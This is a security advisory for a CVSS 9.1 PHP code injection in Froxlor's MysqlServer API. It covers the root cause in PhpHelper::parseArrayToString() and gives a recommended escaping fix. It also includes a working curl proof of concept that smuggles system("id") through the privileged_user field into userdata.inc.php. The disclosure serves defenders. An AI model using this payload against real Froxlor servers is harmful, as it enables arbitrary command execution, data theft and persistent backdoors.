Monitor vulnerabilities like this one. Sign up free to get alerted when software you use is affected.
9.1

Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)

GHSA-gc9w-cc93-rjv8
Summary

## Summary

`PhpHelper::parseArrayToString()` writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with `change_serversettings` permission adds or updates a MySQL server via the API, the `privileged_user` parameter (which has no input validation) ...

What to do
  • Update froxlor froxlor to version 2.3.6.
Affected software
Ecosystem VendorProductAffected versions
composer froxlor froxlor <= 2.3.5
Fix: upgrade to 2.3.6
Original title
Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)
Original description
## Summary

`PhpHelper::parseArrayToString()` writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with `change_serversettings` permission adds or updates a MySQL server via the API, the `privileged_user` parameter (which has no input validation) is written unescaped into `lib/userdata.inc.php`. Since this file is `require`d on every request via `Database::getDB()`, an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load.

## Details

The root cause is in `PhpHelper::parseArrayToString()` at `lib/Froxlor/PhpHelper.php:486`:

```php
// lib/Froxlor/PhpHelper.php:475-487
foreach ($array as $key => $value) {
if (!is_array($value)) {
if (is_bool($value)) {
$str .= self::tabPrefix($depth, sprintf("'%s' => %s,\n", $key, $value ? 'true' : 'false'));
} elseif (is_int($value)) {
$str .= self::tabPrefix($depth, "'{$key}' => $value,\n");
} else {
if ($key == 'password') {
// special case for passwords (nowdoc)
$str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n");
} else {
// VULNERABLE: $value interpolated without escaping single quotes
$str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n");
}
}
}
}
```

Note that the `password` key receives special treatment via nowdoc syntax (line 484), which is safe because nowdoc does not interpret any escape sequences or variable interpolation. However, all other string keys — including `user`, `caption`, and `caFile` — are written directly into single-quoted PHP string literals with no escaping.

The attack path through `MysqlServer::add()` (`lib/Froxlor/Api/Commands/MysqlServer.php:80`):

1. `validateAccess()` (line 82) checks the caller is an admin with `change_serversettings`
2. `privileged_user` is read via `getParam()` at line 88 with **no validation** applied
3. `mysql_ca` is also read with no validation at line 86
4. The values are placed into the `$sql_root` array at lines 150-160
5. `generateNewUserData()` is called at line 162, which calls `PhpHelper::parseArrayToPhpFile()` → `parseArrayToString()`
6. The result is written to `lib/userdata.inc.php` via `file_put_contents()` (line 548)
7. Setting `test_connection=0` (line 92, 110) skips the PDO connection test, so no valid MySQL credentials are needed

The generated `userdata.inc.php` is loaded on **every request** via `Database::getDB()` at `lib/Froxlor/Database/Database.php:431`:

```php
require Froxlor::getInstallDir() . "/lib/userdata.inc.php";
```

The `MysqlServer::update()` method (line 337) has the identical vulnerability with `privileged_user` at line 387.

## PoC

**Step 1: Inject PHP code via MysqlServer.add API**

```bash
curl -s -X POST https://froxlor.example/api.php \
-u 'ADMIN_APIKEY:ADMIN_APISECRET' \
-H 'Content-Type: application/json' \
-d '{
"command": "MysqlServer.add",
"params": {
"mysql_host": "127.0.0.1",
"mysql_port": 3306,
"privileged_user": "x'\''.system(\"id\").'\''",
"privileged_password": "anything",
"description": "test",
"test_connection": 0
}
}'
```

This writes the following into `lib/userdata.inc.php`:

```php
'user' => 'x'.system("id").'',
```

**Step 2: Trigger code execution**

Any subsequent HTTP request to the Froxlor panel triggers `Database::getDB()`, which `require`s `userdata.inc.php`, executing `system("id")` as the web server user:

```bash
curl -s https://froxlor.example/
```

The `id` output will appear in the response (or can be captured via out-of-band methods for blind execution).

**Step 3: Cleanup (attacker would also clean up)**

The injected code runs on every request until `userdata.inc.php` is regenerated or manually fixed.

## Impact

An admin with `change_serversettings` permission can escalate to **arbitrary OS command execution** as the web server user. This represents a scope change from the Froxlor application boundary to the underlying operating system:

- **Full server compromise**: Execute arbitrary commands as the web server user (typically `www-data`)
- **Data exfiltration**: Read all hosted customer data, databases credentials, TLS private keys
- **Lateral movement**: Access all MySQL databases using credentials stored in `userdata.inc.php`
- **Persistent backdoor**: The injected code executes on every request, providing persistent access
- **Denial of service**: Malformed PHP in `userdata.inc.php` can break the entire panel

The `description` field (validated with `REGEX_DESC_TEXT = /^[^\0\r\n<>]*$/`) and `mysql_ca` field (no validation) are also injectable vectors through the same code path.

## Recommended Fix

Escape single quotes in `PhpHelper::parseArrayToString()` before interpolating values into single-quoted PHP string literals. In single-quoted PHP strings, only `\'` and `\\` are interpreted, so both must be escaped:

```php
// lib/Froxlor/PhpHelper.php:486
// Before (vulnerable):
$str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n");

// After (fixed) - escape backslashes first, then single quotes:
$escaped = str_replace(['\\', "'"], ['\\\\', "\\'"], $value);
$str .= self::tabPrefix($depth, "'{$key}' => '{$escaped}',\n");
```

Alternatively, use the same nowdoc syntax already used for passwords for all string values, which provides complete injection safety:

```php
// Apply nowdoc to all string values, not just passwords:
$str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n");
```

Additionally, consider adding input validation to `privileged_user` and `mysql_ca` in `MysqlServer::add()` and `MysqlServer::update()` as defense-in-depth.
ghsa CVSS3.1 9.1
Vulnerability type
CWE-94 Code Injection
Published: 16 Apr 2026 · Updated: 16 Apr 2026 · First seen: 16 Apr 2026